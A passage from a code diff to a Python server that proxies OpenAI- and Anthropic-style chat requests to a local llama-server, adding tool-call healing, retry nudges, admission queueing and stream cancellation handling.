in-loop poll fires only between + # chunks, so a mid-prefill disconnect would otherwise hold the decode slot. + disconnect_watcher = asyncio.create_task( + _await_disconnect_then_cancel(request, cancel_event) + ) try: while True: - if await request.is_disconnected(): + if cancel_event.is_set() or await request.is_disconnected(): cancel_event.set() return cumulative = await asyncio.to_thread(next, gen, _sentinel) @@ -8295,6 +11993,8 @@ async def _anthropic_plain_stream( if _error_event is not None: yield _error_event return + finally: + await _stop_local_disconnect_cancel_watcher(disconnect_watcher) stop_reason = openai_finish_to_anthropic_stop(captured_finish_reason, had_tool_calls = False) for line in emitter.finish(stop_reason = stop_reason, stop_sequence = None): @@ -8353,6 +12053,7 @@ async def _anthropic_tool_non_streaming( message_id, model_name, disable_parallel_tool_use = False, + openai_tools = None, ): """Non-streaming response for the tool-calling path. @@ -8371,6 +12072,9 @@ async def _anthropic_tool_non_streaming( usage = {} prev_text = "" captured_finish_reason = None + # Gate the display strip on the declared tools: an inactive NAME[ARGS]{...} in a final + # answer is prose and must survive in the delivered text. + _display_names = _display_tool_name_gate(openai_tools) # Pending client tool_use; cleared by tool_end (server execution) or # trailing text. See the stop_reason mapping below. ends_on_tool_use = False @@ -8380,8 +12084,10 @@ async def _anthropic_tool_non_streaming( for event in events: etype = event.get("type", "") if etype == "content": - # Strip leaked tool-call XML - clean = _TOOL_XML_RE.sub("", event["text"]) + # Strip leaked tool XML (protected helper keeps think rehearsal and trailing prose). + clean = _strip_tool_xml_for_display( + event["text"], auto_heal_tool_calls = True, enabled_tool_names = _display_names + ) new = clean[len(prev_text) :] prev_text = clean if new: @@ -8505,13 +12211,15 @@ def _build_passthrough_payload( ): body = { "messages": openai_messages, - "tools": openai_tools, - "tool_choice": tool_choice, "temperature": temperature, "top_p": top_p, "top_k": top_k, "stream": stream, } + if openai_tools: + body["tools"] = openai_tools + if tool_choice is not None: + body["tool_choice"] = tool_choice if seed is not None: body["seed"] = seed if stream and stream_options is not None: @@ -8565,6 +12273,7 @@ async def _anthropic_passthrough_stream( session_id = None, cancel_id = None, disable_parallel_tool_use = False, + auto_heal_tool_calls = None, ): """Streaming client-side pass-through: forward tools to llama-server and translate its stream to Anthropic SSE without executing anything.""" @@ -8601,6 +12310,16 @@ async def _anthropic_passthrough_stream( async def _stream(): emitter = AnthropicPassthroughEmitter() + # Promote text-form tool calls (declared client tools only) into + # tool_use blocks; verbatim behavior when healing is off or no tools. + # tool_choice arrives here already converted to the OpenAI shape. + _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice) + if _allowed_tools: + emitter.enable_healing( + _allowed_tools, + openai_tools, + disable_parallel_tool_use = disable_parallel_tool_use, + ) for line in emitter.start(message_id, model_name, input_tokens = input_tokens): yield line @@ -8630,6 +12349,7 @@ async def _anthropic_passthrough_stream( client = httpx.AsyncClient( timeout = _llama_streaming_generation_timeout(), limits = httpx.Limits(max_keepalive_connections = 0), + trust_env = False, ) resp = None lines_iter = None @@ -8661,7 +12381,7 @@ async def _anthropic_passthrough_stream( yield build_anthropic_sse_event( "error", anthropic_error_body( - f"llama-server error: {_err_text}", + _friendly_upstream_error(_err_text), status = resp.status_code, ), ) @@ -8706,13 +12426,17 @@ async def _anthropic_passthrough_stream( yield event return finally: - await _aclose_stream_resources( - watchers = (cancel_watcher, disconnect_watcher), - iterator = lines_iter, - resp = resp, - client = client, - ) - _tracker.__exit__(None, None, None) + # Same shape as the OpenAI passthrough: a close-time CancelledError + # re-raised by _aclose_stream_resources must not skip the tracker exit. + try: + await _aclose_stream_resources( + watchers = (cancel_watcher, disconnect_watcher), + iterator = lines_iter, + resp = resp, + client = client, + ) + finally: + _tracker.__exit__(None, None, None) for line in emitter.finish(): yield line @@ -8736,6 +12460,8 @@ async def _anthropic_passthrough_non_streaming( presence_penalty = None, tool_choice = "auto", disable_parallel_tool_use = False, + auto_heal_tool_calls = None, + nudge_tool_calls = None, ): """Non-streaming client-side pass-through.""" target_url = f"{llama_backend.base_url}/v1/chat/completions" @@ -8764,38 +12490,109 @@ async def _anthropic_passthrough_non_streaming( if resp.status_code != 200: raise HTTPException( status_code = resp.status_code, - detail = f"llama-server error: {resp.text[:500]}", + detail = _friendly_upstream_error(resp.text[:500]), ) data = resp.json() + # tool_choice arrives here already converted to the OpenAI shape. + _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice) + + # Opt-in single-retry nudge (mirrors the OpenAI passthrough): the model + # tried to call a tool but nothing usable came out; re-ask once with the + # prompt prefix intact so llama-server's KV cache is reused. + if ( + _allowed_tools + and nudge_enabled(nudge_tool_calls) + and nudge_should_retry(data, _allowed_tools, openai_tools) + ): + retry_body = { + **body, + "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)], + } + try: + retry_resp = await nonstreaming_client().post( + target_url, + json = retry_body, + timeout = _llama_non_streaming_generation_timeout(), + ) + if retry_resp.status_code == 200: + retry_data = retry_resp.json() + if response_has_promotable_calls(retry_data, _allowed_tools, openai_tools): + data = retry_data + except (httpx.RequestError, ValueError) as exc: + logger.warning("tool-call nudge retry failed; keeping original: %s", exc) + choice = (data.get("choices") or [{}])[0] message = choice.get("message") or {} finish_reason = choice.get("finish_reason") - content_blocks = [] - text = message.get("content") or "" - if text: - text = _TOOL_XML_RE.sub("", text).strip() - if text: - content_blocks.append(AnthropicResponseTextBlock(text = text)) + healing_active = bool(_allowed_tools) + healed_events = ( + heal_openai_message_events(message, _allowed_tools, openai_tools) + if healing_active + else None + ) - tool_calls = message.get("tool_calls") or [] - # disable_parallel_tool_use: keep only the first tool_use block. - if disable_parallel_tool_use and len(tool_calls) > 1: - tool_calls = tool_calls[:1] - for tc in tool_calls: - fn = tc.get("function") or {} - try: - args = json.loads(fn.get("arguments", "{}")) - except json.JSONDecodeError: - args = {} - content_blocks.append( - AnthropicResponseToolUseBlock( - id = anthropic_tool_use_id(tc.get("id")), - name = fn.get("name", ""), - input = args, + content_blocks = [] + tool_calls = [] + if healed_events: + emitted_tool_uses = 0 + for kind, value in healed_events: + if kind == "text": + text = str(value).strip() + if text: + content_blocks.append(AnthropicResponseTextBlock(text = text)) + continue + if disable_parallel_tool_use and emitted_tool_uses >= 1: + continue + fn = value.get("function") or {} + try: + args = json.loads(fn.get("arguments", "{}")) + except json.JSONDecodeError: + args = {} + tool_calls.append(value) + emitted_tool_uses += 1 + content_blocks.append( + AnthropicResponseToolUseBlock( + id = anthropic_tool_use_id(value.get("id")), + name = fn.get("name", ""), + input = args, + ) + ) + else: + text = message.get("content") or "" + if text: + # Keep unpromoted bytes when healing is active; legacy stripping is + # only for opted-out or no-client-tool requests. Protected helper (not + # raw _TOOL_XML_RE.sub): preserves rehearsal and balanced + # [TOOL_CALLS] trailing prose, gated on the declared tools so an + # inactive NAME[ARGS]{...} example in the final text is kept. + if not healing_active: + text = _strip_tool_xml_for_display( + text, + auto_heal_tool_calls = True, + enabled_tool_names = _display_tool_name_gate(openai_tools), + ) + text = text.strip() + if text: + content_blocks.append(AnthropicResponseTextBlock(text = text)) + + tool_calls = message.get("tool_calls") or [] + if disable_parallel_tool_use and len(tool_calls) > 1: + tool_calls = tool_calls[:1] + for tc in tool_calls: + fn = tc.get("function") or {} + try: + args = json.loads(fn.get("arguments", "{}")) + except json.JSONDecodeError: + args = {} + content_blocks.append( + AnthropicResponseToolUseBlock( + id = anthropic_tool_use_id(tc.get("id")), + name = fn.get("name", ""), + input = args, + ) ) - ) stop_reason = openai_finish_to_anthropic_stop(finish_reason, had_tool_calls = bool(tool_calls)) @@ -9023,6 +12820,55 @@ def _openai_messages_for_passthrough(payload) -> list[dict]: return messages +def _flatten_content_parts_for_local_template(messages: list[dict]) -> list[dict]: + """Flatten OpenAI content-part lists to plain strings. + + Local text templates take string content and raise on part lists (e.g. a + remote ``image_url`` that leaves ``image is None``): keep the text parts, + drop the rest, like the plain non-GGUF path. GGUF keeps the parts.""" + out = [] + for msg in messages: + content = msg.get("content") + if isinstance(content, list): + text_parts = [ + part.get("text", "") + for part in content + if isinstance(part, dict) and part.get("type") == "text" + ] + msg = {**msg, "content": "\n".join(text_parts) if text_parts else ""} + out.append(msg) + return out + + +def _structured_tool_history_for_local_template(messages: list[dict]) -> list[dict]: + """Deserialize assistant ``tool_calls[].function.arguments`` JSON strings to + mappings for local templating. + + Clients send prior-turn arguments as JSON strings, but local templates take + mappings (some raise on strings). Only the internal messages copy is + rewritten; the HTTP response stays OpenAI-shaped and unparseable strings + are left untouched.""" + out = [] + for msg in messages: + tool_calls = msg.get("tool_calls") + if isinstance(tool_calls, list) and tool_calls: + new_calls = [] + for tc in tool_calls: + fn = tc.get("function") if isinstance(tc, dict) else None + args = fn.get("arguments") if isinstance(fn, dict) else None + if isinstance(args, str): + try: + parsed = json.loads(args) + except ValueError: + parsed = None + if isinstance(parsed, dict): + tc = {**tc, "function": {**fn, "arguments": parsed}} + new_calls.append(tc) + msg = {**msg, "tool_calls": new_calls} + out.append(msg) + return out + + def _openai_messages_for_gguf_chat(payload, is_vision: bool) -> tuple[list[dict], bool]: """Build llama-server messages for the standard GGUF chat path. @@ -9087,6 +12933,9 @@ def _build_openai_passthrough_body( system_prompt, _, _ = _extract_content_parts(payload.messages) messages = _set_or_prepend_system_message(messages, system_prompt) tool_choice = payload.tool_choice if payload.tool_choice is not None else "auto" + tools = payload.tools + if payload.tool_choice == "none" and not _has_openai_tool_history(payload.messages): + tools = None # Forward per-request reasoning fields (enable_thinking / reasoning_effort / # preserve_thinking) via chat_template_kwargs so the Jinja template renders # in the caller's mode, gated on the active template's capabilities exactly @@ -9102,12 +12951,12 @@ def _build_openai_passthrough_body( ) return _build_passthrough_payload( messages, - payload.tools, + tools, payload.temperature, payload.top_p, payload.top_k, # Honor max_completion_tokens on the tools/response_format passthrough too. - _effective_max_tokens(payload), + _effective_openai_max_tokens(payload), payload.stream, stop = payload.stop, min_p = payload.min_p, @@ -9131,62 +12980,311 @@ async def _openai_passthrough_stream( completion_id, monitor_id: Optional[str] = None, ): - """Streaming client-side pass-through for /v1/chat/completions. - - Forwards the client's OpenAI function-calling request to llama-server and - relays the SSE stream back verbatim, preserving llama-server's native - response ``id``, ``finish_reason`` (including ``"tool_calls"``), - ``delta.tool_calls``, and any client-requested trailing ``usage`` chunk so - the client sees a standard OpenAI response. - """ - target_url = f"{llama_backend.base_url}/v1/chat/completions" - body = _build_openai_passthrough_body( - payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend - ) - _cancel_keys = (payload.cancel_id, payload.session_id, completion_id) _tracker = _TrackedCancel(cancel_event, *_cancel_keys) _tracker.__enter__() + try: + reservation, admission_config = _openai_llama_admission_reserve( + request = request, + llama_backend = llama_backend, + ) + except LlamaAdmissionQueueFull as exc: + _tracker.__exit__(None, None, None) + _openai_admission_log( + "queue-full", + snapshot = exc.snapshot, + request = request, + mode = "chat_passthrough_stream", + completion_id = completion_id, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + raise _openai_admission_http_exception(exc, status_code = 429) + + lease = reservation.lease_nowait() + if lease is not None: + try: + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + except asyncio.CancelledError: + api_monitor.finish(monitor_id, "cancelled") + lease.release() + _tracker.__exit__(None, None, None) + raise + except LlamaAdmissionCancelled as exc: + lease.release() + _tracker.__exit__(None, None, None) + api_monitor.finish(monitor_id, "cancelled") + raise HTTPException( + status_code = 499, + detail = _openai_admission_error_body(exc, status_code = 499), + ) + return await _openai_passthrough_stream_admitted( + request, + cancel_event, + llama_backend, + payload, + model_name, + completion_id, + monitor_id = monitor_id, + admission_lease = lease, + tracker = _tracker, + ) + + admission_wait_started_at = time.monotonic() + _openai_admission_log( + "queued", + reservation, + request = request, + mode = "chat_passthrough_stream", + completion_id = completion_id, + level = "debug", + ) + + async def _queued_stream(): + admitted_started = False + admitted_body_owns_cleanup = False + admitted_response = None + admitted_body_cancelled = False + try: + async for wait_item in _openai_admission_wait_stream_chunks( + reservation, + admission_config, + request = request, + cancel_event = cancel_event, + ): + if isinstance(wait_item, str): + yield wait_item + continue + _openai_admission_log( + "granted-after-wait", + reservation, + request = request, + mode = "chat_passthrough_stream", + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "debug", + ) + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + admitted_response = await _openai_passthrough_stream_admitted( + request, + cancel_event, + llama_backend, + payload, + model_name, + completion_id, + monitor_id = monitor_id, + admission_lease = wait_item, + tracker = _tracker, + ) + admitted_started = True + iterator = admitted_response.body_iterator + admitted_body_owns_cleanup = True + try: + async for chunk in iterator: + yield chunk + except asyncio.CancelledError: + admitted_body_cancelled = True + raise + finally: + await _close_openai_admitted_stream_iterator( + iterator, + cancelled = admitted_body_cancelled, + ) + if not admitted_body_owns_cleanup: + cleanup = getattr(admitted_response, "_unstarted_cleanup", None) + if cleanup is not None: + await cleanup() + return + except LlamaAdmissionTimeout as exc: + _openai_admission_log( + "timeout", + reservation, + request = request, + mode = "chat_passthrough_stream", + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + yield _openai_stream_error_sse(_openai_admission_error_body(exc, status_code = 503)) + except LlamaAdmissionCancelled: + _openai_admission_log( + "cancelled-before-upstream", + reservation, + request = request, + mode = "chat_passthrough_stream", + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "debug", + ) + api_monitor.finish(monitor_id, "cancelled") + return + except asyncio.CancelledError: + api_monitor.finish(monitor_id, "cancelled") + raise + except HTTPException as exc: + status_code = getattr(exc, "status_code", 500) or 500 + detail = exc.detail + error = ( + detail + if isinstance(detail, dict) and "error" in detail + else openai_error_body(str(detail), status = status_code) + ) + api_monitor.fail(monitor_id, str(detail)) + yield _openai_stream_error_sse(error) + finally: + if not admitted_started: + api_monitor.finish(monitor_id, "cancelled") + reservation.cancel() + _tracker.__exit__(None, None, None) + + async def _queued_unstarted_cleanup() -> None: + api_monitor.finish(monitor_id, "cancelled") + reservation.cancel() + _tracker.__exit__(None, None, None) + + return _SameTaskStreamingResponse( + _queued_stream(), + media_type = "text/event-stream", + headers = { + "Cache-Control": "no-cache", + "Connection": "close", + "X-Accel-Buffering": "no", + }, + unstarted_cleanup = _queued_unstarted_cleanup, + ) + + +async def _openai_passthrough_stream_admitted( + request, + cancel_event, + llama_backend, + payload, + model_name, + completion_id, + monitor_id: Optional[str] = None, + *, + admission_lease: LlamaAdmissionLease, + tracker, +): + """Streaming client-side pass-through after Studio granted an upstream slot. + + Forwards the client's OpenAI function-calling request to llama-server and + relays the SSE stream back with minimal normalization (reasoning-only + deltas gain ``content: ""``; errors and missing terminal markers get a + closing ``[DONE]``), preserving llama-server's native response ``id``, + ``finish_reason`` (including ``"tool_calls"``), ``delta.tool_calls``, and + any client-requested trailing ``usage`` chunk so the client sees a + standard OpenAI response. + + Reasoning/tool-call splitting is delegated to llama-server (``--jinja + --reasoning-format auto``), so ``delta.content`` carries no raw markup and is + deliberately not re-parsed locally, unlike the ``/completion`` paths. + """ + _tracker = tracker + target_url = f"{llama_backend.base_url}/v1/chat/completions" + upstream_headers = _openai_passthrough_upstream_headers(llama_backend = llama_backend) + + client = None + resp = None + send_task: Optional[asyncio.Task[Optional[httpx.Response]]] = None + + async def _aclose_send_task(task: Optional[asyncio.Task[Optional[httpx.Response]]]) -> None: + if task is None: + return + if not task.done(): + task.cancel() + try: + task_resp = await task + if task_resp is not None: + try: + await task_resp.aclose() + except Exception: + pass + except (asyncio.CancelledError, Exception): + pass # Keep tracker cleanup paired if pre-header dispatch is cancelled. try: - # Dispatch BEFORE returning StreamingResponse so transport errors and - # non-200 upstream statuses surface as real HTTP errors -- OpenAI SDKs - # rely on status codes to raise APIError/BadRequestError. + body = _build_openai_passthrough_body( + payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend + ) + # Text-form tool calls from small models get promoted to structured calls on + # the way back (declared client tools only); requests without tools or with + # auto_heal_tool_calls=false keep the unhealed relay. tool_choice constrains + # the allowlist ("none" disables, a forced function narrows to it). + _allowed_tools = heal_gate( + payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice") + ) + + # Keep the pre-header window short so accepted SSE clients receive + # immediate headers in the common timeout-reduced stall. client = httpx.AsyncClient( timeout = _llama_streaming_generation_timeout(), limits = httpx.Limits(max_keepalive_connections = 0), + trust_env = False, ) - resp = None _truncate_budget = ( _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0 ) + while True: try: - req = client.build_request( - "POST", target_url, json = body, headers = {"Connection": "close"} - ) + req = client.build_request("POST", target_url, json = body, headers = upstream_headers) first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S - resp = await _send_stream_with_preheader_cancel( - client, req, cancel_event, request = request + send_task = asyncio.create_task( + _send_stream_with_preheader_cancel( + client, + req, + cancel_event, + request = request, + mark_cancel_on_cancel = False, + ) ) + done, _ = await asyncio.wait( + {send_task}, + timeout = _OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S, + return_when = asyncio.FIRST_COMPLETED, + ) + if send_task not in done: + break + + # Dispatch returned quickly enough to preserve pre-header status. + resp = await send_task + send_task = None except httpx.RequestError as e: # llama-server subprocess crashed / starting / unreachable. logger.error("openai passthrough stream: upstream unreachable: %s", e) api_monitor.fail(monitor_id, _friendly_error(e)) + await _aclose_send_task(send_task) await _aclose_stream_resources(resp = resp, client = client) raise HTTPException( status_code = 502, detail = _friendly_error(e), ) + if resp is None and send_task is not None and not send_task.done(): + break if resp is None: + if cancel_event is not None: + cancel_event.set() api_monitor.finish(monitor_id, "cancelled") try: - await client.aclose() - except Exception: - pass - _tracker.__exit__(None, None, None) - return StreamingResponse( + await _aclose_send_task(send_task) + await _aclose_stream_resources(client = client) + finally: + try: + admission_lease.release() + finally: + _tracker.__exit__(None, None, None) + return _SameTaskStreamingResponse( iter(()), media_type = "text/event-stream", headers = { @@ -9210,6 +13308,7 @@ async def _openai_passthrough_stream( await resp.aclose() except Exception: pass + resp = None # Opt-in overflow policy: shrink and retry instead of a fatal 400. if ( _truncate_budget > 0 @@ -9225,6 +13324,8 @@ async def _openai_passthrough_stream( api_monitor.fail(monitor_id, err_text[:500]) raise _openai_passthrough_error(upstream_status, err_text) + # Keep tracker cleanup paired if pre-header dispatch is cancelled after we + # have already committed headers. async def _stream(): # Same httpx lifecycle pattern as _anthropic_passthrough_stream: # save resp.aiter_lines() so the finally block can aclose() it on @@ -9232,12 +13333,252 @@ async def _openai_passthrough_stream( lines_iter = None # Watchers unblock aiter_lines() during prefill, before in-loop # cancel/disconnect checks can run. - cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp)) - disconnect_watcher = asyncio.create_task( - _await_disconnect_then_close(request, resp, cancel_event) - ) + cancel_watcher = None + disconnect_watcher = None + + nonlocal resp, send_task, first_token_deadline, _truncate_budget + nonlocal client monitor_done = False + saw_finish_reason = False + saw_done = False + saw_stream_error = False + saw_stream_item = False + saw_tool_call_delta = False + terminal_seen = False + last_chunk_id = completion_id + last_chunk_model = model_name + last_chunk_created = int(time.time()) + healer = ( + StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None + ) + healed_call_index = 0 + + def _synthetic_finish_line() -> str: + healed = healer is not None and healer.healed + finish_reason = "tool_calls" if (saw_tool_call_delta or healed) else "stop" + chunk = ChatCompletionChunk( + id = last_chunk_id, + created = last_chunk_created, + model = last_chunk_model, + choices = [ + ChunkChoice( + delta = ChoiceDelta(), + finish_reason = finish_reason, + ) + ], + ) + return f"data: {chunk.model_dump_json(exclude_none = True)}" + + def _healer_sse_lines(events) -> list: + # Serialize healer events as chunks matching the upstream stream's + # id/model/created so clients see one coherent completion. + nonlocal healed_call_index + lines = [] + for kind, value in events: + if kind == "text": + if not value: + continue + delta = {"content": value} + else: + # parallel_tool_calls=false caps healed calls too (the SSE + # line cap only sees structured upstream deltas). + if payload.parallel_tool_calls is False and healed_call_index >= 1: + continue + delta = { + "tool_calls": [ + { + "index": healed_call_index, + "id": value["id"], + "type": "function", + "function": value["function"], + } + ] + } + healed_call_index += 1 + chunk = { + "id": last_chunk_id, + "object": "chat.completion.chunk", + "created": last_chunk_created, + "model": last_chunk_model, + "choices": [{"index": 0, "delta": delta, "finish_reason": None}], + } + lines.append("data: " + json.dumps(chunk, ensure_ascii = False)) + return lines + + stall_timeout_s = _openai_compat_stream_stall_timeout() + + def _terminal_read_timeout_s() -> Optional[float]: + if terminal_seen: + return _OPENAI_PASSTHROUGH_TERMINAL_GRACE_S + return stall_timeout_s + + def _heal_transform(chunk_data: dict, raw_line: str) -> list: + """SSE lines to emit in place of one upstream line (healing on).""" + choices = chunk_data.get("choices") + if not (isinstance(choices, list) and choices and isinstance(choices[0], dict)): + return [raw_line] + choice = choices[0] + delta = choice.get("delta") + delta = delta if isinstance(delta, dict) else {} + if delta.get("tool_calls"): + # Structured call streamed: grammar mode worked. Flush any held + # text (it preceded the call) and relay verbatim from here on. + lines = _healer_sse_lines(healer.structured_tool_call_seen()) + if healed_call_index: + if payload.parallel_tool_calls is False: + # A healed call already consumed the single allowed + # slot; the upstream SSE cap keeps native index 0, so + # drop the native call here or the client gets two. + del delta["tool_calls"] + if delta or choice.get("finish_reason") or chunk_data.get("usage"): + lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False)) + return lines + # A healed call already went out on index 0..n-1; OpenAI + # clients merge tool-call deltas by index, so shift the + # native calls into the next indexes or they would merge + # into the healed call. + for tc in delta["tool_calls"]: + if isinstance(tc, dict) and isinstance(tc.get("index"), int): + tc["index"] += healed_call_index + return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)] + return lines + [raw_line] + content = delta.get("content") + finish = choice.get("finish_reason") + if not isinstance(content, str) or not content: + if not finish: + return [raw_line] + # Finish chunk: last-chance heal of the residue, and rewrite a + # "stop" into "tool_calls" when text-form calls were promoted. + lines = _healer_sse_lines(healer.finalize()) + if healer.healed and finish == "stop": + choice["finish_reason"] = "tool_calls" + return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)] + return lines + [raw_line] + events = healer.feed(content) + if finish: + events += healer.finalize() + if not finish and events == [("text", content)]: + # Nothing held or promoted: the healer passed the chunk + # through whole, so keep the verbatim upstream bytes. + return [raw_line] + del delta["content"] + prefix_lines = [] + if delta: + prefix_chunk = {k: v for k, v in chunk_data.items() if k != "usage"} + prefix_choice = dict(choice) + prefix_choice["delta"] = dict(delta) + prefix_choice["finish_reason"] = None + prefix_chunk["choices"] = [prefix_choice] + prefix_lines.append("data: " + json.dumps(prefix_chunk, ensure_ascii = False)) + delta.clear() + lines = prefix_lines + _healer_sse_lines(events) + if delta or finish or chunk_data.get("usage"): + if healer.healed and finish == "stop": + choice["finish_reason"] = "tool_calls" + lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False)) + return lines + try: + while True: + if send_task is not None: + last_keepalive_at = time.monotonic() + while not send_task.done(): + # Wake often enough that _preheader_cancelled keeps + # cancel/disconnect latency sub-second during prefill; + # keepalives still pace off last_keepalive_at. + wait_timeout = min( + _STREAM_DISCONNECT_POLL_TIMEOUT_S, + _OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S, + ) + done, _ = await asyncio.wait( + {send_task}, + timeout = wait_timeout, + return_when = asyncio.FIRST_COMPLETED, + ) + if send_task in done: + break + if await _preheader_cancelled(cancel_event, request): + api_monitor.finish(monitor_id, "cancelled") + return + # The downstream SSE response is already committed; + # keep strict clients and proxies from treating a long + # llama-server prefill/header wait as a dead stream. + now = time.monotonic() + if ( + now - last_keepalive_at + >= _OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S + ): + last_keepalive_at = now + yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE + if resp is None: + try: + resp = send_task.result() + except httpx.RequestError as e: + logger.error( + "openai passthrough stream: upstream unreachable: %s", e + ) + api_monitor.fail(monitor_id, _friendly_error(e)) + yield _openai_stream_error_sse(_openai_stream_error_chunk(e)) + return + send_task = None + + if resp is None: + api_monitor.finish(monitor_id, "cancelled") + return + if resp.status_code == 200: + break + + err_bytes = await resp.aread() + err_text = err_bytes.decode("utf-8", errors = "replace") + logger.error( + "openai passthrough upstream error: status=%s body=%s", + resp.status_code, + err_text[:500], + ) + upstream_status = resp.status_code + try: + await resp.aclose() + except Exception: + pass + resp = None + if ( + _truncate_budget > 0 + and _classify_llama_generation_error(Exception(err_text)) + and _apply_overflow_truncation(body, err_text) + ): + _truncate_budget -= 1 + req = client.build_request( + "POST", target_url, json = body, headers = upstream_headers + ) + first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S + send_task = asyncio.create_task( + _send_stream_with_preheader_cancel( + client, + req, + cancel_event, + request = request, + mark_cancel_on_cancel = False, + ) + ) + continue + + upstream_error = _openai_passthrough_error(upstream_status, err_text) + error_payload = ( + upstream_error.detail + if isinstance(upstream_error.detail, dict) + else openai_error_body( + str(upstream_error.detail), + status = upstream_status, + ) + ) + api_monitor.fail(monitor_id, err_text[:500]) + yield _openai_stream_error_sse(error_payload) + return + + cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp)) + disconnect_watcher = asyncio.create_task( + _await_disconnect_then_close(request, resp, cancel_event) + ) lines_iter = resp.aiter_lines() async for raw_line in _aiter_llama_stream_items( lines_iter, @@ -9245,28 +13586,178 @@ async def _openai_passthrough_stream( request = request, first_token_deadline = first_token_deadline, response = resp, + post_first_item_read_timeout_s = _terminal_read_timeout_s, ): if not raw_line: continue - if not raw_line.startswith("data: "): + if not raw_line.startswith("data:"): continue - # Honor parallel_tool_calls=false (best-effort): drop tool_call - # deltas with index>=1 so only the first call streams. Only - # lines carrying tool_calls are reparsed; everything else is - # relayed byte-for-byte. - if payload.parallel_tool_calls is False and '"tool_calls"' in raw_line: - raw_line = _cap_parallel_tool_calls_sse_line(raw_line) - monitor_event = _monitor_openai_sse_line( - monitor_id, - raw_line, - llama_backend.context_length, - ) - # Relay verbatim to preserve llama-server's native id, - # finish_reason, delta.tool_calls, and usage chunks. - yield raw_line + "\n\n" - if monitor_event == "done" or raw_line[6:].strip() == "[DONE]": + saw_stream_item = True + data_text = raw_line[5:].strip() + if data_text == "[DONE]": + saw_done = True + # Upstream ended without a finish chunk: heal the residue + # first so the synthetic finish sees healer.healed. + if healer is not None and not saw_stream_error: + for held_line in _healer_sse_lines(healer.finalize()): + _monitor_openai_sse_line( + monitor_id, held_line, llama_backend.context_length + ) + yield held_line + "\n\n" + if ( + not saw_finish_reason + and not saw_stream_error + and not cancel_event.is_set() + ): + finish_line = _synthetic_finish_line() + _monitor_openai_sse_line( + monitor_id, + finish_line, + llama_backend.context_length, + ) + yield finish_line + "\n\n" + saw_finish_reason = True + _monitor_openai_sse_line( + monitor_id, + raw_line, + llama_backend.context_length, + ) + yield raw_line + "\n\n" monitor_done = True break + raw_line = _normalize_openai_passthrough_sse_line( + raw_line, + cap_parallel_tool_calls = payload.parallel_tool_calls is False, + ) + data_text = raw_line[5:].strip() + try: + chunk_data = json.loads(data_text) + except json.JSONDecodeError: + chunk_data = None + if isinstance(chunk_data, dict): + if isinstance(chunk_data.get("id"), str): + last_chunk_id = chunk_data["id"] + if isinstance(chunk_data.get("model"), str): + last_chunk_model = chunk_data["model"] + if isinstance(chunk_data.get("created"), int): + last_chunk_created = chunk_data["created"] + choices = chunk_data.get("choices") + if isinstance(choices, list) and choices: + choice = choices[0] + if isinstance(choice, dict): + if choice.get("finish_reason"): + saw_finish_reason = True + delta = choice.get("delta") + if isinstance(delta, dict) and delta.get("tool_calls"): + saw_tool_call_delta = True + # Detect an error chunk independently of API monitoring + # (skip_api_monitor returns early), else the synthetic + # finish would fire after a failed stream. + if _monitor_openai_error_message(chunk_data): + saw_stream_error = True + # With healing active, a content-bearing line may be replaced by + # held/promoted chunks; otherwise the single (already + # normalized) line relays unchanged (monitored exactly as + # emitted either way). + if ( + healer is not None + and not healer.dormant + and isinstance(chunk_data, dict) + and not saw_stream_error + ): + out_lines = _heal_transform(chunk_data, raw_line) + else: + out_lines = [raw_line] + # If a trailing usage-only chunk (include_usage) arrives before + # any finish chunk, emit the synthetic finish first so the order + # stays finish -> usage -> [DONE], matching the other streams. + if ( + isinstance(chunk_data, dict) + and chunk_data.get("usage") + and not ( + isinstance(chunk_data.get("choices"), list) and chunk_data["choices"] + ) + and not saw_finish_reason + and not saw_stream_error + and not cancel_event.is_set() + ): + if healer is not None: + # Residue must precede the finish it may upgrade. + held = _healer_sse_lines(healer.finalize()) + for held_line in held: + _monitor_openai_sse_line( + monitor_id, held_line, llama_backend.context_length + ) + yield held_line + "\n\n" + finish_line = _synthetic_finish_line() + _monitor_openai_sse_line( + monitor_id, finish_line, llama_backend.context_length + ) + yield finish_line + "\n\n" + saw_finish_reason = True + for out_line in out_lines: + monitor_event = _monitor_openai_sse_line( + monitor_id, + out_line, + llama_backend.context_length, + ) + if monitor_event == "error": + saw_stream_error = True + # Relay to preserve llama-server's native id, + # finish_reason, delta.tool_calls, and usage chunks. + yield out_line + "\n\n" + if monitor_event == "done": + monitor_done = True + break + terminal_state = ( + _openai_passthrough_terminal_state_from_data(chunk_data) + if out_line is raw_line + else _openai_passthrough_sse_line_terminal_state(out_line) + ) + if terminal_state == "usage" or ( + terminal_state == "finish" and not _wants_stream_usage(payload) + ): + done_line = _SSE_DONE_LINE + _monitor_openai_sse_line( + monitor_id, + done_line, + llama_backend.context_length, + ) + yield done_line + "\n\n" + saw_done = True + monitor_done = True + break + if terminal_state == "finish": + terminal_seen = True + if monitor_done: + break + 